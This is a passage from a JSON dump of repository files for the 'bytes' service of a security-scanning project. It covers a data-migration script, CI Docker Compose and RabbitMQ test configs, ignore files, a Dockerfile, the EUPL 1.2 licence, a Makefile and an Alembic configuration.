200:\n            logger.info(\"Processed all origins [organization_id=%s]\", organisation_id)\n            break\n\n        offset += page_size\n\n    connector._bulk_migrate_origins(bulk_updated_origins, valid_time)\n    processed += len(bulk_updated_origins)\n\n    return failed, processed\n\n\ndef collect_boefjes_per_normalizer() -> dict[str, list[Boefje]]:\n    session = sessionmaker(bind=get_engine())()\n\n    all_plugins = PluginService(\n        create_plugin_storage(session), create_config_storage(session), get_local_repository()\n    )._get_all_without_enabled()\n\n    normalizers = {}\n\n    for normalizer in [x for x in all_plugins.values() if x.type == \"normalizer\"]:\n        boefjes = []\n\n        for plugin in all_plugins.values():\n            if plugin.type == \"boefje\" and f\"boefje/{plugin.id}\" in normalizer.consumes:\n                boefjes.append(plugin)\n\n        normalizers[normalizer.id] = boefjes\n\n    session.close()\n\n    return normalizers\n\n\n@click.command()\ndef main():\n    session = sessionmaker(bind=get_engine())()\n    organisations = create_organisation_storage(session)\n\n    upgrade(organisations)\n\n    session.close()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "bytes/.ci/docker-compose.yml",
    "content": "services:\n  bytes_unit:\n    build:\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n      context: .\n      dockerfile: Dockerfile\n    command: pytest tests/unit\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - .:/app/bytes\n\n  bytes_integration:\n    build:\n      context: .\n      dockerfile: Dockerfile\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n    command: pytest -vv tests/integration\n    depends_on:\n      - ci_bytes\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - .:/app/bytes\n\n  ci_bytes:\n    build:\n      context: .\n      dockerfile: Dockerfile\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn bytes.api:app --host 0.0.0.0\n    depends_on:\n      ci_rabbitmq:\n        condition: service_healthy\n      ci_bytes-db:\n        condition: service_started\n    volumes:\n      - .:/app/bytes\n    env_file:\n      - .ci/.env.test\n\n  ci_rabbitmq:\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    volumes:\n      - ./.ci/rabbitmq.conf:/etc/rabbitmq/rabbitmq.conf\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 4\n\n  ci_bytes-db:\n    image: docker.io/library/postgres:15\n    env_file:\n      - .ci/.env.test\n"
  },
  {
    "path": "bytes/.ci/rabbitmq.conf",
    "content": "loopback_users.guest = false\nlisteners.tcp.default = 5672\nmanagement.tcp.port = 15672\ndefault_vhost = /kat\ndefault_user = guest\ndefault_pass = guest\n"
  },
  {
    "path": "bytes/.dockerignore",
    "content": "**/__pycache__\n**/*.pyc\n**/*.pyo\n**/*.pyd\n.Python\nenv\n.venv\npip-log.txt\npip-delete-this-directory.txt\n.tox\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.log\n.git\n.mypy_cache\n.pytest_cache\n.hypothesis\nDockerfile\nbytes-data\n.dockerignore\n.github\n.env-dist\n.gitignore\n.ci\nMakefile\npackaging\nREADME.*\npyproject.toml\nsql_migrations\n.dockerignore\n"
  },
  {
    "path": "bytes/.gitignore",
    "content": "\n# Created by https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n# Edit at https://www.toptal.com/developers/gitignore?templates=windows,linux,macos,python,node,react,intellij,vscode\n\n### Intellij ###\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n.idea/\n.vscode\n\n# Gradle and Maven with auto-import\n# When using Gradle or Maven with auto-import, you should exclude module files,\n# since they will be recreated, and may cause churn.  Uncomment if using\n# auto-import.\n# .idea/artifacts\n# .idea/compiler.xml\n# .idea/jarRepositories.xml\n# .idea/modules.xml\n# .idea/*.iml\n# .idea/modules\n*.iml\n*.ipr\n\n# CMake\ncmake-build-*/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n# Android studio 3.1+ serialized cache file\n.idea/caches/build_file_checksums.ser\n\n### Intellij Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n\n# Sonarlint plugin\n# https://plugins.jetbrains.com/plugin/7973-sonarlint\n.idea/**/sonarlint/\n\n# SonarQube Plugin\n# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin\n.idea/**/sonarIssues.xml\n\n# Markdown Navigator plugin\n# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced\n.idea/**/markdown-navigator.xml\n.idea/**/markdown-navigator-enh.xml\n.idea/**/markdown-navigator/\n\n# Cache file creation bug\n# See https://youtrack.jetbrains.com/issue/JBR-2257\n.idea/$CACHE_FILE$\n\n# CodeStream plugin\n# https://plugins.jetbrains.com/plugin/12206-codestream\n.idea/codestream.xml\n\n# Private http-client environment files\n**/http-client.private.env.json\n\n### Linux ###\n*~\n\n# temporary files which can be created if a process still has a handle open of a deleted file\n.fuse_hidden*\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n\n# .nfs files are created when an open file is removed but is still being accessed\n.nfs*\n\n### macOS ###\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n### Node ###\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional stylelint cache\n.stylelintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env*.local\n*.env\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and not Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n.vscode-test\n\n### Python ###\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\npytestdebug.log\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\ndoc/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# profiling data\n.prof\n\n### react ###\n.DS_*\n**/*.backup.*\n**/*.back.*\n\nnode_modules\n\n*.sublime*\n\npsd\nthumb\nsketch\n\n### vscode ###\n.vscode/*\n!.vscode/settings.json\n!.vscode/tasks.json\n!.vscode/launch.json\n!.vscode/extensions.json\n*.code-workspace\n\n### Windows ###\n# Windows thumbnail cache files\nThumbs.db\nThumbs.db:encryptable\nehthumbs.db\nehthumbs_vista.db\n\n# Dump file\n*.stackdump\n\n# Folder config file\n[Dd]esktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msix\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# End of https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n\n/bytes/bytes-data\n/bytes-data\n/errors\n*.tar.gz\n.password-store\n.envrc\ndeployment/github_config.sh\n**bytes.log\n.venv\n\n!packaging/deb/data/usr/lib\n\n# debian build artifacts\ndebhelper-build-stamp\n*.debhelper\n*.deb\n*.dsc\n*.build\n*.buildinfo\n*.changes\n*.substvars\ndebian/*/\ndebian/*.log\ndebian/files\ndebian/changelog\n"
  },
  {
    "path": "bytes/Dockerfile",
    "content": "ARG PYTHON_VERSION=3.13\nFROM python:$PYTHON_VERSION-bookworm AS dev\n\nEXPOSE 8000\n\nARG USER_UID=1000\nARG USER_GID=1000\n\nENTRYPOINT [\"/app/bytes/entrypoint.sh\"]\n\nRUN groupadd --gid \"$USER_GID\" bytes\nRUN adduser --disabled-password --gecos '' --uid \"$USER_UID\" --gid \"$USER_GID\" bytes\n\nWORKDIR /app/bytes\nENV PATH=/home/bytes/.local/bin:${PATH}\n\nENV BYTES_DATA_DIR=/data\nRUN mkdir \"$BYTES_DATA_DIR\" && chown bytes: \"$BYTES_DATA_DIR\"\nVOLUME /data\n\n# Build with \"docker build --build-arg ENVIRONMENT=dev\" to install dev\n# dependencies\nARG ENVIRONMENT\n\nCOPY requirements.txt requirements-dev.txt ./\nRUN --mount=type=cache,target=/root/.cache pip install --upgrade pip \\\n    && pip install -r requirements.txt \\\n    && if [ \"$ENVIRONMENT\" = \"dev\" ]; then pip install -r requirements-dev.txt; fi\n\nUSER bytes\n\nFROM dev\n\nCOPY . .\n\nCMD [\"uvicorn\", \"bytes.api:app\", \"--host\", \"0.0.0.0\", \"--port\", \"8000\"]\n"
  },
  {
    "path": "bytes/LICENSE",
    "content": "                      EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                      EUPL © the European Union 2007, 2016\n\nThis European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\nbelow) which is provided under the terms of this Licence. Any use of the Work,\nother than as authorised under this Licence is prohibited (to the extent such\nuse is covered by a right of the copyright holder of the Work).\n\nThe Work is provided under the terms of this Licence when the Licensor (as\ndefined below) has placed the following notice immediately following the\ncopyright notice for the Work:\n\n        Licensed under the EUPL\n\nor has expressed by any other means his willingness to license under the EUPL.\n\n1. Definitions\n\nIn this Licence, the following terms have the following meaning:\n\n- ‘The Licence’: this Licence.\n\n- ‘The Original Work’: the work or software distributed or communicated by the\n  Licensor under this Licence, available as Source Code and also as Executable\n  Code as the case may be.\n\n- ‘Derivative Works’: the works or software that could be created by the\n  Licensee, based upon the Original Work or modifications thereof. This Licence\n  does not define the extent of modification or dependence on the Original Work\n  required in order to classify a work as a Derivative Work; this extent is\n  determined by copyright law applicable in the country mentioned in Article 15.\n\n- ‘The Work’: the Original Work or its Derivative Works.\n\n- ‘The Source Code’: the human-readable form of the Work which is the most\n  convenient for people to study and modify.\n\n- ‘The Executable Code’: any code which has generally been compiled and which is\n  meant to be interpreted by a computer as a program.\n\n- ‘The Licensor’: the natural or legal person that distributes or communicates\n  the Work under the Licence.\n\n- ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n  Licence, or otherwise contributes to the creation of a Derivative Work.\n\n- ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n  the Work under the terms of the Licence.\n\n- ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n  renting, distributing, communicating, transmitting, or otherwise making\n  available, online or offline, copies of the Work or providing access to its\n  essential functionalities at the disposal of any other natural or legal\n  person.\n\n2. Scope of the rights granted by the Licence\n\nThe Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\nsublicensable licence to do the following, for the duration of copyright vested\nin the Original Work:\n\n- use the Work in any circumstance and for all usage,\n- reproduce the Work,\n- modify the Work, and make Derivative Works based upon the Work,\n- communicate to the public, including the right to make available or display\n  the Work or copies thereof to the public and perform publicly, as the case may\n  be, the Work,\n- distribute the Work or copies thereof,\n- lend and rent the Work or copies thereof,\n- sublicense rights in the Work or copies thereof.\n\nThose rights can be exercised on any media, supports and formats, whether now\nknown or later invented, as far as the applicable law permits so.\n\nIn the countries where moral rights apply, the Licensor waives his right to\nexercise his moral right to the extent allowed by law in order to make effective\nthe licence of the economic rights here above listed.\n\nThe Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\nany patents held by the Licensor, to the extent necessary to make use of the\nrights granted on the Work under this Licence.\n\n3. Communication of the Source Code\n\nThe Licensor may provide the Work either in its Source Code form, or as\nExecutable Code. If the Work is provided as Executable Code, the Licensor\nprovides in addition a machine-readable copy of the Source Code of the Work\nalong with each copy of the Work that the Licensor distributes or indicates, in\na notice following the copyright notice attached to the Work, a repository where\nthe Source Code is easily and freely accessible for as long as the Licensor\ncontinues to distribute or communicate the Work.\n\n4. Limitations on copyright\n\nNothing in this Licence is intended to deprive the Licensee of the benefits from\nany exception or limitation to the exclusive rights of the rights owners in the\nWork, of the exhaustion of those rights or of other applicable limitations\nthereto.\n\n5. Obligations of the Licensee\n\nThe grant of the rights mentioned above is subject to some restrictions and\nobligations imposed on the Licensee. Those obligations are the following:\n\nAttribution right: The Licensee shall keep intact all copyright, patent or\ntrademarks notices and all notices that refer to the Licence and to the\ndisclaimer of warranties. The Licensee must include a copy of such notices and a\ncopy of the Licence with every copy of the Work he/she distributes or\ncommunicates. The Licensee must cause any Derivative Work to carry prominent\nnotices stating that the Work has been modified and the date of modification.\n\nCopyleft clause: If the Licensee distributes or communicates copies of the\nOriginal Works or Derivative Works, this Distribution or Communication will be\ndone under the terms of this Licence or of a later version of this Licence\nunless the Original Work is expressly distributed only under this version of the\nLicence — for example by communicating ‘EUPL v. 1.2 only’. The Licensee\n(becoming Licensor) cannot offer or impose any additional terms or conditions on\nthe Work or Derivative Work that alter or restrict the terms of the Licence.\n\nCompatibility clause: If the Licensee Distributes or Communicates Derivative\nWorks or copies thereof based upon both the Work and another work licensed under\na Compatible Licence, this Distribution or Communication can be done under the\nterms of this Compatible Licence. For the sake of this clause, ‘Compatible\nLicence’ refers to the licences listed in the appendix attached to this Licence.\nShould the Licensee's obligations under the Compatible Licence conflict with\nhis/her obligations under this Licence, the obligations of the Compatible\nLicence shall prevail.\n\nProvision of Source Code: When distributing or communicating copies of the Work,\nthe Licensee will provide a machine-readable copy of the Source Code or indicate\na repository where this Source will be easily and freely available for as long\nas the Licensee continues to distribute or communicate the Work.\n\nLegal Protection: This Licence does not grant permission to use the trade names,\ntrademarks, service marks, or names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the copyright notice.\n\n6. Chain of Authorship\n\nThe original Licensor warrants that the copyright in the Original Work granted\nhereunder is owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach Contributor warrants that the copyright in the modifications he/she brings\nto the Work are owned by him/her or licensed to him/her and that he/she has the\npower and authority to grant the Licence.\n\nEach time You accept the Licence, the original Licensor and subsequent\nContributors grant You a licence to their contributions to the Work, under the\nterms of this Licence.\n\n7. Disclaimer of Warranty\n\nThe Work is a work in progress, which is continuously improved by numerous\nContributors. It is not a finished work and may therefore contain defects or\n‘bugs’ inherent to this type of development.\n\nFor the above reason, the Work is provided under the Licence on an ‘as is’ basis\nand without warranties of any kind concerning the Work, including without\nlimitation merchantability, fitness for a particular purpose, absence of defects\nor errors, accuracy, non-infringement of intellectual property rights other than\ncopyright as stated in Article 6 of this Licence.\n\nThis disclaimer of warranty is an essential part of the Licence and a condition\nfor the grant of any rights to the Work.\n\n8. Disclaimer of Liability\n\nExcept in the cases of wilful misconduct or damages directly caused to natural\npersons, the Licensor will in no event be liable for any direct or indirect,\nmaterial or moral, damages of any kind, arising out of the Licence or of the use\nof the Work, including without limitation, damages for loss of goodwill, work\nstoppage, computer failure or malfunction, loss of data or any commercial\ndamage, even if the Licensor has been advised of the possibility of such damage.\nHowever, the Licensor will be liable under statutory product liability laws as\nfar such laws apply to the Work.\n\n9. Additional agreements\n\nWhile distributing the Work, You may choose to conclude an additional agreement,\ndefining obligations or services consistent with this Licence. However, if\naccepting obligations, You may act only on your own behalf and on your sole\nresponsibility, not on behalf of the original Licensor or any other Contributor,\nand only if You agree to indemnify, defend, and hold each Contributor harmless\nfor any liability incurred by, or claims asserted against such Contributor by\nthe fact You have accepted any warranty or additional liability.\n\n10. Acceptance of the Licence\n\nThe provisions of this Licence can be accepted by clicking on an icon ‘I agree’\nplaced under the bottom of a window displaying the text of this Licence or by\naffirming consent in any other similar way, in accordance with the rules of\napplicable law. Clicking on that icon indicates your clear and irrevocable\nacceptance of this Licence and all of its terms and conditions.\n\nSimilarly, you irrevocably accept this Licence and all of its terms and\nconditions by exercising any rights granted to You by Article 2 of this Licence,\nsuch as the use of the Work, the creation by You of a Derivative Work or the\nDistribution or Communication by You of the Work or copies thereof.\n\n11. Information to the public\n\nIn case of any Distribution or Communication of the Work by means of electronic\ncommunication by You (for example, by offering to download the Work from a\nremote location) the distribution channel or media (for example, a website) must\nat least provide to the public the information requested by the applicable law\nregarding the Licensor, the Licence and the way it may be accessible, concluded,\nstored and reproduced by the Licensee.\n\n12. Termination of the Licence\n\nThe Licence and the rights granted hereunder will terminate automatically upon\nany breach by the Licensee of the terms of the Licence.\n\nSuch a termination will not terminate the licences of any person who has\nreceived the Work from the Licensee under the Licence, provided such persons\nremain in full compliance with the Licence.\n\n13. Miscellaneous\n\nWithout prejudice of Article 9 above, the Licence represents the complete\nagreement between the Parties as to the Work.\n\nIf any provision of the Licence is invalid or unenforceable under applicable\nlaw, this will not affect the validity or enforceability of the Licence as a\nwhole. Such provision will be construed or reformed so as necessary to make it\nvalid and enforceable.\n\nThe European Commission may publish other linguistic versions or new versions of\nthis Licence or updated versions of the Appendix, so far this is required and\nreasonable, without reducing the scope of the rights granted by the Licence. New\nversions of the Licence will be published with a unique version number.\n\nAll linguistic versions of this Licence, approved by the European Commission,\nhave identical value. Parties can take advantage of the linguistic version of\ntheir choice.\n\n14. Jurisdiction\n\nWithout prejudice to specific agreement between parties,\n\n- any litigation resulting from the interpretation of this License, arising\n  between the European Union institutions, bodies, offices or agencies, as a\n  Licensor, and any Licensee, will be subject to the jurisdiction of the Court\n  of Justice of the European Union, as laid down in article 272 of the Treaty on\n  the Functioning of the European Union,\n\n- any litigation arising between other parties and resulting from the\n  interpretation of this License, will be subject to the exclusive jurisdiction\n  of the competent court where the Licensor resides or conducts its primary\n  business.\n\n15. Applicable Law\n\nWithout prejudice to specific agreement between parties,\n\n- this Licence shall be governed by the law of the European Union Member State\n  where the Licensor has his seat, resides or has his registered office,\n\n- this licence shall be governed by Belgian law if the Licensor has no seat,\n  residence or registered office inside a European Union Member State.\n\nAppendix\n\n‘Compatible Licences’ according to Article 5 EUPL are:\n\n- GNU General Public License (GPL) v. 2, v. 3\n- GNU Affero General Public License (AGPL) v. 3\n- Open Software License (OSL) v. 2.1, v. 3.0\n- Eclipse Public License (EPL) v. 1.0\n- CeCILL v. 2.0, v. 2.1\n- Mozilla Public Licence (MPL) v. 2\n- GNU Lesser General Public Licence (LGPL) v. 2.1, v. 3\n- Creative Commons Attribution-ShareAlike v. 3.0 Unported (CC BY-SA 3.0) for\n  works other than software\n- European Union Public Licence (EUPL) v. 1.1, v. 1.2\n- Québec Free and Open-Source Licence — Reciprocity (LiLiQ-R) or Strong\n  Reciprocity (LiLiQ-R+).\n\nThe European Commission may update this Appendix to later versions of the above\nlicences without producing a new version of the EUPL, as long as they provide\nthe rights granted in Article 2 of this Licence and protect the covered Source\nCode from exclusive appropriation.\n\nAll other changes or additions to this Appendix require the production of a new\nEUPL version.\n"
  },
  {
    "path": "bytes/MANIFEST.in",
    "content": "include bytes/timestamping/certificates/freetsa.crt\ninclude bytes/alembic.ini\n"
  },
  {
    "path": "bytes/Makefile",
    "content": "SHELL := bash\n.ONESHELL:\n.SHELLFLAGS := -eu -o pipefail -c\n.DELETE_ON_ERROR:\nMAKEFLAGS += --warn-undefined-variables\nMAKEFLAGS += --no-builtin-rules\n# Makefile Reference: https://tech.davis-hansson.com/p/make/\n\n.PHONY: help done lint test utest itest black mypy pylint migrate migrations debian ubuntu clean\n\n# use HIDE to run commands invisibly, unless VERBOSE defined\nexport VERBOSE\nHIDE:=$(if $(VERBOSE),,@)\n\n# Export Docker buildkit options\nexport DOCKER_BUILDKIT=1\nexport COMPOSE_DOCKER_CLI_BUILD=1\n\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tHelp\n##|------------------------------------------------------------------------|\nhelp: ## Show this help.\n\t@fgrep -h \"##\" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\\\$$//' | sed -e 's/:\\(.*\\)##/:\t\t\t/' | sed -e 's/##//'\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tDevelopment\n##|------------------------------------------------------------------------|\n\ndone: lint test ## Prepare for a commit.\n\nlint: ## Format the code using black.\n\tpre-commit run --all-files --show-diff-on-failure --color always\n\npy-run := docker compose run --rm bytes python\n\n\nexport revid\nexport m\n\nmigrations: ## Generate a migration using alembic\nifdef m\n\t$(py-run) -m alembic --config /app/bytes/bytes/alembic.ini revision --autogenerate -m \"$(m)\"\nelse\n\t$(HIDE) (echo \"Specify a message with m={message}\"; exit 1)\nendif\n\n\nsql: ## Generate raw sql for the migrations\n\t$(py-run) -m alembic --config /app/bytes/bytes/alembic.ini upgrade $(rev1):$(rev2) --sql\n\nmigrate: ## Run alembic migrations\n\t$(py-run) -m alembic --config /app/bytes/bytes/alembic.ini upgrade head\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tTests\n##|------------------------------------------------------------------------|\n\ntest: utest itest ## Run all tests.\nci-docker-compose := docker compose --project-directory . -f .ci/docker-compose.yml\n\n\nutest: ## Run the unit tests.\n\t$(ci-docker-compose) build $(build_args)\n\t$(ci-docker-compose) kill\n\t$(ci-docker-compose) down --remove-orphans\n\t$(ci-docker-compose) run --rm bytes_unit\n\n\nitest: ## Run the integration tests.\n\t$(ci-docker-compose) build $(build_args)\n\t$(ci-docker-compose) kill\n\t$(ci-docker-compose) down --remove-orphans\n\t$(ci-docker-compose) run --rm bytes_integration\n\n\n##\n##|------------------------------------------------------------------------|\n##\t\t\tBuilding\n##|------------------------------------------------------------------------|\ndebian12:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-bytes \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-bytes \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-debian12-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nubuntu22.04:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-bytes \\\n\t--env BUILD_DIR=./build \\\n\t--env REPOSITORY=minvws/nl-kat-bytes \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-ubuntu22.04-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nclean:\n\trm -rf build\n\trm -rf debian/kat-*/ debian/.debhelper debian/files *.egg-info/ dist/\n\trm -f debian/debhelper-build-stamp\n\trm -f debian/*.*.debhelper\n\trm -f debian/*.substvars\n\trm -f debian/*.debhelper.log\n\trm -f debian/changelog\n"
  },
  {
    "path": "bytes/bytes/__init__.py",
    "content": ""
  },
  {
    "path": "bytes/bytes/alembic.ini",
    "content": "# A generic, single database configuration.\n\n[alembic]\n# path to migration scripts\nscript_location = bytes/database/migrations\n\n# template used to generate migration files\nfile_template = %%(rev)s_%%(slug)s\n\n# sys.path path, will be prepended to sys.path if present.\n# defaults to the current working directory.\nprepend_sys_path = .\n\n# timezone to use when rendering the date within the migration file\n# as well as the filename.\n# If specified, requires the python-dateutil library that can be\n# installed by adding `alembic[tz]` to the pip requirements\n# string value is passed to dateutil.tz.gettz()\n# leave blank for localtime\n# timezone =\n\n# max length of characters to apply to the\n# \"slug\" field\n# truncate_slug_length = 40\n\n# set to 'true' to run the environment during\n# the 'revision' command, regardless of autogenerate\n# revision_environment = false\n\n# set to 'true' to allow .pyc and .pyo files without\n# a source .py file to be detected as revisions in the\n# versions/ directory\n# sourceless = false\n\n# version location specification; This defaults\n# to ./bytes/sqlalchemy/migrations/versions.  When using multiple version\n# directories, initial revisions must be specified with --version-path.\n# The path separator used here should be the separator specified by \"version_path_separator\"\n# version_locations = %(here)s/bar:%(here)s/bat:./bytes/sqlalchemy/migrations/versions\n\n# version path separator; As mentioned above, this is the character used to split\n# version_locations. Valid values are:\n#\n# version_path_separator = :\n# version_path_separator = ;\n# version_path_separator = space\nversion_path_separator = os  # default: use os.pathsep\n\n# the output encoding used when revision files\n# are written from script.py.mako\n# output_encoding = utf-8\n\nsqlalchemy.url =\n\n\n[post_write_hooks]\n# post_write_hooks defines scripts or Python functions that are run\n# on newly generated revision scripts.  See the documentation for further\n# detail and examples\n\n# format using \"black\" - use the console_scripts runner, against the \"black\" entrypoint\n# hooks = black\n# black.type = console_scripts\n# black.entrypoint = black\n# black.options = -l 79 REVISION_SCRIPT_FILENAME\n\n# Logging configuration\n[loggers]\nkeys = root,sqlalchemy,alembic\n\n[handlers]\nkeys = console\n\n[formatters]\nkeys = generic\n\n[logger_root]\nlevel = WARN\nhandlers = console\nqualname =\n\n[logger_sqlalchemy]\nlevel = WARN\nhandlers =\nqualname = sqlalchemy.engine\n\n[logger_alembic]\nlevel = INFO\nhandlers =\nqualname = alembic\n\n[handler_console]\nclass = StreamHandler\nargs = (sys.stderr,)\nlevel = NOTSET\nformatter = generic\n\n[formatter_generic]\nformat = %(levelname)-5.5s [%(name)s] %(message)s\ndatefmt = %H:%M:%S\n"
  },
  {
    "path": "bytes/bytes/api/__init__.py",
